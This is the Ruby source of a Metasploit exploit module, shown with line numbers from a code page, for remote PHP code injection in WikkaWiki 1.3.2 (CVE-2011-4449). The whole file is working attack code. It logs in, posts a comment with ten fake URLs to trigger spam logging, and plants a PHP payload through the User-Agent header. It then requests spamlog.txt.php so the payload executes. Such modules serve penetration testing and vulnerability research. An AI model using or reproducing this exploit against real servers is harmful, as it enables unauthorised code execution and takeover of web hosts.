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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 | ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "WikkaWiki 1.3.2 Spam Logging PHP Injection", 'Description'=> %q{ This module exploits a vulnerability found in WikkaWiki.When the spam logging feature is enabled, it is possible to inject PHP code into the spam log file via the UserAgent header , and then request it to execute our payload.There are at least three different ways to trigger spam protection, this module does so by generating 10 fake URLs in a comment (by default, the max_new_comment_urls parameter is 6). Please note that in order to use the injection, you must manually pick a page first that allows you to add a comment, and then set it as 'PAGE'. }, 'License'=> MSF_LICENSE, 'Author' => [ 'EgiX', #Initial discovery, PoC 'sinn3r'#Metasploit ], 'References' => [ ['CVE', '2011-4449'], ['OSVDB', '77391'], ['EDB', '18177'], ['URL', 'http://wush.net/trac/wikka/ticket/1098'] ], 'Payload'=> { 'BadChars' => "\x00" }, 'DefaultOptions'=> { 'ExitFunction' => "none" }, 'Arch' => ARCH_PHP, 'Platform' => ['php'], 'Targets'=> [ ['WikkaWiki 1.3.2 r1814', {}] ], 'Privileged' => false, 'DisclosureDate' => "Nov 30 2011", 'DefaultTarget'=> 0)) register_options( [ OptString.new('USERNAME',[true, 'WikkaWiki username']), OptString.new('PASSWORD',[true, 'WikkaWiki password']), OptString.new('PAGE',[true, 'Page to inject']), OptString.new('TARGETURI', [true, 'The URI path to WikkaWiki', '/wikka/']) ], self.class) end def check res = send_request_raw({ 'method' => 'GET', 'uri'=> "#{target_uri.path}wikka.php?wakka=HomePage" }) if res and res.body =~ /Powered by WikkaWiki/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end # # Get the cookie before we do any of that login/exploity stuff # def get_cookie res = send_request_raw({ 'method' => 'GET', 'uri'=> "#{@base}wikka.php" }) # Get the cookie in this format: # 96522b217a86eca82f6d72ef88c4c7f4=pr5sfcofh5848vnc2sm912ean2; path=/wikka if res and res.headers['Set-Cookie'] cookie = res.headers['Set-Cookie'].scan(/(\w+\=\w+); path\=.+$/).flatten[0] else raise RuntimeError, "#{@peer} - No cookie found, will not continue" end cookie end # # Do login, and then return the cookie that contains our credential # def login(cookie) # Send a request to the login page so we can obtain some hidden values needed for login uri = "#{@base}wikka.php?wakka=UserSettings" res = send_request_raw({ 'method'=> 'GET', 'uri' => uri, 'cookie'=> cookie }) # Extract the hidden fields login = {} if res and res.body =~ /\<div id\=\"content\"\>.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>.+\<legend\>Login\/Register\<\/legend\>/m fields = $1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(\w+)\" \/>/) fields.each do |name, value| login[name] = value end else raise RuntimeError, "#{@peer} - Unable to find the hidden fieldset required for login" end # Add the rest of fields required for login login['action'] = 'login' login['name'] = datastore['USERNAME'] login['password'] = datastore['PASSWORD'] login['do_redirect']= 'on' login['submit'] = "Login" login['confpassword'] = '' login['email']= '' port = (rport.to_i == 80) ? "" : ":#{rport}" res = send_request_cgi({ 'method'=> 'POST', 'uri' => uri, 'cookie'=> cookie, 'headers' => { 'Referer' => "http://#{rhost}#{port}#{uri}" }, 'vars_post' => login }) if res and res.headers['Set-Cookie'] =~ /user_name/ user = res.headers['Set-Cookie'].scan(/(user_name\@\w+=\w+);/)[0] || "" pass = res.headers['Set-Cookie'].scan(/(pass\@\w+=\w+)/)[0] || "" cookie_cred = "#{cookie}; #{user}; #{pass}" else cred = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}" raise RuntimeError, "#{@peer} - Unable to login with \"#{cred}\"" end return cookie_cred end # # After login, we inject the PHP payload # def inject_exec(cookie) # Get the necessary fields in order to post a comment res = send_request_raw({ 'method' => 'GET', 'uri'=> "#{@base}wikka.php?wakka=#{datastore['PAGE']}&show_comments=1", 'cookie' => cookie }) fields = {} if res and res.body =~ /\<form action\=.+processcomment.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>/m $1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(.+)\" \/>/).each do |n, v| fields[n] = v end else raise RuntimeError, "#{@peer} - Cannot get necessary fields before posting a comment" end # Generate enough URLs to trigger spam logging urls = '' 10.times do |i| urls << "http://www.#{rand_text_alpha_lower(rand(10)+6)}.#{['com', 'org', 'us', 'info'].sample}\n" end # Add more fields fields['body'] = urls fields['submit'] = 'Add' # Inject payload b64_payload = Rex::Text.encode_base64(payload.encoded) port = (rport.to_i == 80) ? "" : ":#{rport}" uri = "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment" post_data = "" send_request_cgi({ 'method'=> 'POST', 'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment", 'cookie'=> cookie, 'headers' => { 'Referer' => "http://#{rhost}:#{port}/#{uri}" }, 'vars_post' => fields, 'agent' => "<?php #{payload.encoded} ?>" }) send_request_raw({ 'method' => 'GET', 'uri'=> "#{@base}spamlog.txt.php" }) end def exploit @peer = "#{rhost}:#{rport}" @base = target_uri.path @base << '/' if @base[-1, 1] != '/' print_status("#{@peer} - Getting cookie") cookie = get_cookie print_status("#{@peer} - Logging in") cred = login(cookie) print_status("#{@peer} - Triggering spam logging") inject_exec(cred) handler end end =begin For testing: svn -r 1814 co https://wush.net/svn/wikka/trunk wikka Open wikka.config.php, do: 'spam_logging' => '1' =end |
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